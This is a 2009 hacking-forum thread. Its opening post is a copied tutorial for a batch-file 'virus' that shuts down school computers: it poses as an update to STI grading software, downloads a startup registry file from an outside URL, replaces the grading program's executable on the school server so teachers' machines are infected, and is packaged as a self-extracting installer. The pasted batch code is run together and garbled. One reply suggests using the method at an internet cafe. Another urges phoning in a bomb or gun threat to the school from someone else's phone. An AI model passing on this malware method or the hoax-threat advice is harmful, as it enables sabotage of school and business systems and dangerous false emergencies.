Thread: [Shut Down your School or Collige \(Have a day off from studying \)](#)

MoBreeze - August 7, 2009, 4:07 pm

credits: <http://rahulhackingarticles.wetpaint.com/page/Shut+down+your+School!!>

First of all I did not get any reps for my last 2 post and tutorials so if people dont rep me +1 on thisa I wil not post anymore EnjOy

Hack your School and Shut It Down

Shut down your School!!

This article is for only educational purpose, i am not responsible for any misuse of this article.

By using this command you can shutdown your school or college by using only Note pad.

This is the main command that will be launched upon startup.

Type this in Notepad.

```
@echo offshutdown.exe -s -t 10 -c
```

```
"You have been hacked!"
```

Save this as shutdown.bat, making sure you choose all files as the filetype.

Step 2

Make it run on StartupThe file you need can be downloaded here:This is just a simple registry file that anyone can create, but I don't feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.

<http://www.mutantsrus.com/Update.reg>

Step 3

Set up the replication systemHere is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?, \$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. \$ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.

Example O:\sti\ssts2\sti.exe?=O\$=sti\ssts2!=sti

Here is the code:

```
@echo offcd C:\move ?:\$!.exeren C:?.exe real.exeren C:virus.exe !.execd ?:\$move C:\!.exemove C:\shutdown.batmove C:\Update.regexit
```

Save this as global.bat

Step 4

They grow up so fast -- real fast! This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user's hard drive and remain there.

```
@echo offcd C:\WINDOWSEcho STI must update itself, this will only take a few
seconds.pauseEcho Please wait while the files install.move ?:\$\shutdown.batmove
?:\$\Update.regmove ?:\$\cure.exemove ?:\$\cure.exemove ?:\$\cure.batmove ?:\$\remove.batEcho
Adding information to registry.pausestart regedit.exe Update.regcd ?:\$start real.exeexit
Now this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File
Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for
QuickBFC to work with. Just save the compiled file over this one.
```

Step 5

The CureThis is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.

```
@echo off
shutdown -acd C:\WINDOWSdel shutdown.bat
```

Save as cure.bat

```
@echo offcd ?:\$del !.execd C:\move ?:\$real.exeren C:\real.exe !.execd ?:\$move C:\?.execd
C:\WINDOWS
```

Now download this file: <http://www.mutantsrus.com/cure.exe>

Step 6

The SetupNo it's not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive. I am going to use WinRAR to do this. You can get WinRAR here: [WinRAR archiver, a powerful tool to process RAR and ZIP files](#). First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to "tools", then select "convert archive to SFX". Click "Advanced SFX Options" In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.)

xLithium - August 7, 2009, 4:09 pm

yea because thats gonna get you the day off...

Red - August 7, 2009, 4:14 pm

Don't be so rude, he took his time to make this. I think it deserves some credit.

It's not bad. But i do have to agree with the poster above me, it won't give you a day off.

xLithium - August 7, 2009, 4:16 pm

I Agree with both of u you

:) thanks for your comments guys :)

{.-.}:) - August 7, 2009, 4:19 pm

Yep, No problem. Just might want to close this thread and try another way. Lol.

DarkZero - August 7, 2009, 4:20 pm

You COULD use this at an internet cafe xD make them lose business for a bit of time, only to go back hours later and do it again haha

Red - August 7, 2009, 4:21 pm

(Aug 7, 2009 04:16 PM)xLithium Wrote: [\[CITE\]](#) im not trying to be rude or anything, I'm just saying that theres a lot easier ways to get the day off...Alright man, I thought you were targeting him.

@OP, yeah no problem, I'd rep you for taking your time in making this - another user may find it useful. no to shut down a school or college, but possibly a smaller network - but I don't have HFL,

xLithium - August 7, 2009, 4:21 pm

i made my own tutorial in the human manipulation section :D

What Rights - August 7, 2009, 4:24 pm

This was stolen from this website...

<http://rahulhackingarticles.wetpaint.com/page/Shut+down+your+School!!>

With no credit.

Goddammit people.

EDIT:

I reported and it was fixed. Thank you iBruteforce.

iBruteforce - August 7, 2009, 4:30 pm

Post edited and warning issued for giving no credit.

5y573m ninJ@ - August 7, 2009, 4:34 pm

dude this is a fail first he copy's someone else's work but he also spells it wrong "college" not "collige"

DarkZero - August 7, 2009, 4:35 pm

LOL PHAIL!

And he wanted us to +rep him for this....

Red - August 7, 2009, 4:37 pm

I take back my nice comments. I thought you made this.

FLAME ON!

DarkZero - August 7, 2009, 4:41 pm

SlaYoRz - August 7, 2009, 4:45 pm

Also if you want time off from school make a phony call or something making a bomb/gun threat on your school. It happened at my school and we went in lockdown for 2 hours lol. Just talked and screwed around on our phones / ipods the whole time. Wasnt as bad as you would think. You might want to call from someone elses cellphone if you are going to do it that way becassue the cops ended up tracing the call to some kid who got in trouble =p

MoBreeze - August 7, 2009, 4:46 pm

Actually If you Search Google there are Tons of this on there so u cant say that was the original poster nor I cant give ccredits to person who created as there are way to much resaults on it Look at it your slef

<http://www.hungry-hackers.com/2008/03/shut-down-your-school.html>

<http://hackingtricks.wordpress.com/tag/hack-into-school-computers/>

Or should I Post every single website thats out there ? WHo do u give credits to >?

BadTrip - August 7, 2009, 4:48 pm

Good tutorial, very basic batch but still great ;)

I know the website that I posted is original content. That was posted years ago. You my friend are only making it worse blaming me for lying about original content and for blaming it on other people.

Would you +rep me if I made a guide about something you already knew? or if it was poorly written?

MoBreeze - August 7, 2009, 4:56 pm

no but why m I geting pm's asking me to give em links for downloads for tools that i used in them tutorials ?

iBruteforce - August 7, 2009, 4:57 pm

The point is, it was copied and pasted, and you gave no credit. Nothing else being said is relevant. Lets get on with the topic shall we.
